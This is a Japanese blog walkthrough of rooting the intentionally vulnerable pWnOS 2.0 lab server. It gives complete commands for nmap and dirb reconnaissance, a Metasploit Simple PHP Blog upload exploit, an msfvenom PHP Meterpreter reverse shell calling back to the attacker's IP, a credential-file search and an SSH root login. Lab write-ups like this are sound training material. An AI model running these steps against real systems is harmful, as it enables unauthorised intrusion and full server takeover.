pWnOS:2.0のroot権限取得
以前の記事でpWnOS:2.0を設定しましたが、今回は**この脆弱性のあるサーバーを攻撃して、root権限を取得するWalkthrough(手順)**をハンズオン形式で紹介したいと思います。
Kali Linuxのツール
今回攻撃には、多くのペネトレーションテストツールが利用できるKali Linuxを使用しました。
実践したものは、nmap、dirb、Metasploit Frameworkです。
またMetasploit Frameworkを使う中で、リバースシェルという攻撃方法も実践したので前提知識としてまとめていきたいと思います。
nmapとは
nmapはポートをスキャンするツールで、指定した対象のサーバーに対してどのポートが開いているのか調べることできるツールとなります。
ポートスキャンをした際に、対象先のサーバーにログが残らないようにするステルススキャン機能といったものも搭載されています。
ポートスキャン以外にも、OSや動いているサービスなど特定することが可能です。
dirbとは
dirbとは、ディレクトリバスターの略で、その名の通り、対象サーバーのディレクトリやファイルをいっせいに表示できるコマンドになります。
このdirbコマンドで、脆弱性のあるバージョンのPHPファイルや、リバースシェルのアップロード先ディレクトリなどを探していきます。
Metasploit Frameworkとは
Metasploit Frameworkとは、脆弱性のスキャニング、攻撃コードの作成と実行、侵入検知等を行うためのフレームワークになります。
攻撃コードはマルウェア(意図的に不正で有害な動作を行うために作られたソフトウェアやコードの総称)の一種であるエクスプロイトを利用することで、プログラムの脆弱性をつくような攻撃を行うことができます。
エクスプロイトによる攻撃は、ペイロードと呼ばれる核のプログラムに攻撃命令などが記載されています。
リバースシェルとは(⇔バインドシェル)
リバースシェルとは、本来接続される側の対象サーバー側から接続をし、クライアント側では接続を待ち受けるといった接続方法になります。
このリバースシェルによる攻撃コードを対象サーバーに送信すれば、自由にファイルやディレクトリの操作することも可能になります
このリバースシェルは、対象サーバー側(ターゲット側)から接続がされて、クライアント側(攻撃側)では接続を待ち受けるといった形になるので、開放されているポートなどを気にせず接続を可能にしています。
前提条件
- Kali Linux(攻撃側) IP:10.10.10.10
- pWnOS:2.0(ターゲット側) IP:10.10.10.100
nmapでサービス・ポート確認
まずは攻撃側でnmapを実行し、開放しているポート、サービスなどを取得します。
root@kali:~# nmap -sV -p- 10.10.10.100
80番ポートが空いていたので、実際に、URLに10.10.10.100を入力しWebページが表示される確認します。
dirbコマンドでファイル・ソースコードバージョン確認
80番ポートが開放されていることと、実際にWebページが表示されることが分かったので、今度はそのIPアドレス下にどんなディレクトリがあるかdirbコマンドで調べていきます。
root@kali:~# dirb http://10.10.10.100
表示されているディレクトリ一覧で、脆弱性のあるバージョンのものがないかを確認していきます。
いくつかディレクトリを見た結果、http://10.10.10.100/blog のURLには、脆弱性のあるバージョンのSimple PHP Blog and the Version 0.4.0が使われていることが分かったので、ここから脆弱性をついていきたいと思います。
Metasploitでログイン情報取得
Metasploitには多くのエクスプロイトのモジュールがあり、起動後に使いたいものをsearchで探していきます。
root@kali:~# msfconsole
msf > search simple php blog
unix/webapp/sphpblog_file_upload Simple PHP Blog <= 0.4.0 Remote Command Execution
上記のSimple PHP Blogに対してのモジュールがあったので、これを使用していきます。
実行の流れとしては、エクスプロイトのモジュールを指定→接続先の対象ホストを指定→URLを指定→exploitコマンドで実行、といった流れになります。
また設定は、show optionsで確認できます。
msf > use exploit/unix/webapp/sphpblog_file_upload
msf > exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
msf > exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
msf > exploit(unix/webapp/sphpblog_file_upload) > show options
msf > exploit(unix/webapp/sphpblog_file_upload) > exploit
exploitの実行からlogged in asの後に記載されている、ログイン情報の取得に成功しました。
実際に、Username:2404WX、Password:OWRvAZでログインして成功するか確かめていきます。
ログインできることが確認できました。
msfconsoleでリバースシェルを作成
次に、Metasoloit Frameworkでmsfconsoleやmsfvenomを使い、リバースシェルを作成していきます。
まずmsfconsole内で、PHP環境でターゲット側から攻撃側に対して接続するタイプのシェルを探します。
これは**「ペイロード、TCP型のリバースシェル、PHP」**という条件なので、それに該当モジュールを探すには、以下の検索方法が可能です。
root@kali:~# msfconsole
msf > search type:payload reverse_tcp platform:php
今回は条件に当てはまる、php/meterpreter/reverse_tcpモジュールを使います。
以下のmsfvenomuコマンドで実行していきます。
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw
それぞれの引数の意味は、-pがペイロードのパス、LHOSTが接続するサーバー(攻撃サーバー)のホスト指定、LPORTが接続するサーバー(攻撃サーバー)のポートを指定、-fが出力ファイル形式を指します。
出力は以下のようになります。
このphpコードの部分をコピーして、root下に新しいファイルを作成します。
root@kali:~# vi reverse.php
# 先ほどコピーしたphpコードを張り付け
ログイン情報を入力しアップロード
リバースシェルが作成できたら、実際にログインしてアップロードしていきます。
まず、先ほどsphpblog_file_uploadモジュールで取得したユーザー情報を使ってログインします。
その後Upload Imageタブをクリックし、Browserボタンを選択。
自分のフォルダが開くので、先ほどroot下で作ったreverse.phpファイルを選択し、Uploadボタンを押します。
これでリバースシェルのアップロードは完了しました。
しかしどこにアップロードしたかわからないので、再度dirbコマンドディレクトリを探してみます。
ここで**/blog/imagesディレクトリ**にアップロードしたファイルがあるのでURLに飛ぶと、先ほどアップロードしたreverse.phpファイルがあることが確認できました。
msfconsoleでリバースシェルにアクセス
リバースシェルがセットできたので、ここから接続を行っていきます。
接続にはmsfconsole内の、リバースシェルからの接続を待ち受ける際に使用するモジュール、exploit/multi/handlerを使っていきます。
exploit/multi/handlerを選択したら、接続される対象ホスト(攻撃側のホスト)、対象ポート(攻撃側のポート)、対象ペイロードを選択して設定を確認、起動します。
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 172.16.208.161
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
msf exploit(multi/handler) > exploit
exploitで起動したら、ターゲット側からの接続を待っている状態になるので、先ほどdirbコマンドで探したhttp://10.10.10.100/blog/images/reverse.php をcurlで開きます(別タブ)。
root@kali:~# curl http://10.10.10.100/blog/images/reverse.php
その後exploit/multi/handlerモジュールでセッションが開始され、meterpreterというコンソールni
入れたら成功となります。
このコンソール上では、システム情報やセッション実行権限なども確認できます。
meterpreter > sysinfo
meterpreter > getuid
shellでroot情報を取得
次にシステム内部情報にアクセスにアクセスしたいので、shellに入り操作していきます。
またファイルを検索したいので、root下に移動します。
meterpreter > shell
cd /
ここでは、mysqlに接続されているroot情報を記載しているファイルをfindコマンドで探し出していきたいと思います。
そのため、.phpの拡張子のもので、DBに接続するために必要なコードである"DB_USER"が記載されているファイルを探し出します。
find ./ "*.php" -type f -print | xargs grep "DB_USER*"
上記のコマンドは、-typeでファイルを指定、-printで該当するファイルを出力、xargsで以下のコマンドも実行可能とし、grepで文字列の検索をしています。
これで下記のように、ユーザー名がrootの、MySQL接続に関するPHPファイル/var/mysqli_connect.phpを見つけることができました。
実際にcatコマンドで開いて、確認します。
cat /var/mysqli_connect.php
rootでログイン
最後に、取得したrootのパスワードでssh接続をしてみます。
root@kali:~# ssh root@10.10.10.100
root@10.10.10.100's password:root@ISIntS
これでログインが成功できたので、目的であったroot権限の取得が完了しました。
所感
今回はビギナー向けのやられサーバーであるpWnOS:2.0にKali Linuxを使ってハッキングを行いました。
ビギナー向けと言っても初心者の自分にとっては難しく、いろんなサイトを参考にしながら進めていきました。
ハッキングツールを試したいという人は、ぜひ今回のハンズオンの手順で試してみてください。
参考URL
nmap
https://qiita.com/hedgeh0g/items/292a04073acd46f665a0
dirb
https://qiita.com/prograti/items/00cba4ea0ab7d45cf61e
Metadploit Framework
https://www.atmarkit.co.jp/ait/articles/1504/28/news011.html
https://www.jnsa.org/ikusei/03/08-01.html
https://media.kaspersky.com/jp/pdf/pr/Kaspersky_Exploits-Report-PR-1039.pdf
リバースシェル
https://medium.com/yuikuras-cracking-lab/netcat%E3%81%AE%E4%BE%BF%E5%88%A9%E3%81%AA%E6%A9%9F%E8%83%BD%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-c7598145282d
https://www.atmarkit.co.jp/ait/articles/1507/01/news023.html
https://kusuwada.hatenablog.com/entry/2019/10/30/044325
https://qiita.com/ahetaro/items/00da46009c147c656b2d
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
Walkthroughの参考
https://qiita.com/v_avenger/items/8afcf758990c9ab03ad7
https://www.hackingarticles.in/hack-the-pwnos-2-0-boot-2-root-challenge/
https://ox0xo.github.io/security/wordpress
https://qiita.com/v_avenger/items/3991f2640b9694b8697a#%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9%E6%83%85%E5%A0%B1
https://qiita.com/prograti/items/00cba4ea0ab7d45cf61e
https://qiita.com/v_avenger/items/3991f2640b9694b8697a
https://www.atmarkit.co.jp/ait/articles/1512/15/news003_3.html
https://qiita.com/rivarten/items/97aae9aeefcfd498ae90
https://usedoor.jp/howto/web/server/linux-hukusuu-file-mojiretsu-kensaku-find-command/